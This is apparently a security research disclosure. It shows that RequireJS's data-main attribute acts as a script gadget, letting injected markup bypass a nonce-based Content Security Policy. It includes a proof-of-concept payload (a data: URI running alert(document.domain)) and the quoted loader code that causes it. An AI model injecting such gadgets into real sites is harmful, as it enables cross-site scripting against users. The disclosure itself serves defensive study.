RequireJS loads plain JavaScript files as well as more defined modules. It is optimized for in-browser use, including in a Web Worker, but it can be used in other JavaScript environments, like Rhino and Node. It implements the Asynchronous Module API.
The RequireJS library loads scripts from the data-main
attribute on script
tags.
<!-- user input -->
<script data-main='data:1,alert(document.domain)'></script>
<script type="text/javascript" src="https://requirejs.org/docs/release/2.3.2/comments/require.js" nonce="secret"></script>
Root Cause
Source: https://github.com/requirejs/requirejs/blob/945ae6b41ef81851a030d93759bd36ac75a39958/require.js#L139
function scripts() {
return document.getElementsByTagName('script');
}
eachReverse(scripts(), function (script) {
//Set the 'head' where we can append children by
//using the script's parent.
if (!head) {
head = script.parentNode;
}
//Look for a data-main attribute to set main script for the page
//to load. If it is there, the path to data main becomes the
//baseUrl, if it is not already set.
dataMain = script.getAttribute('data-main');
if (dataMain) {
//Preserve dataMain in case it is a path (i.e. contains '?')
mainScript = dataMain;
//Set final baseUrl if there is not already an explicit one,
//but only do so if the data-main value is not a loader plugin
//module ID.
if (!cfg.baseUrl && mainScript.indexOf('!') === -1) {
//Pull off the directory of data-main for use as the
//baseUrl.
src = mainScript.split('/');
mainScript = src.pop();
subPath = src.length ? src.join('/') + '/' : './';
cfg.baseUrl = subPath;
}
//Strip off any trailing .js since mainScript is now
//like a module name.
mainScript = mainScript.replace(jsSuffixRegExp, '');
//If mainScript is still a path, fall back to dataMain
if (req.jsExtRegExp.test(mainScript)) {
mainScript = dataMain;
}
//Put the data-main script in the files to load.
cfg.deps = cfg.deps ? cfg.deps.concat(mainScript) : [mainScript];
return true;
}
});
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Found by @slekies, @kkotowicz, @sirdarckcat.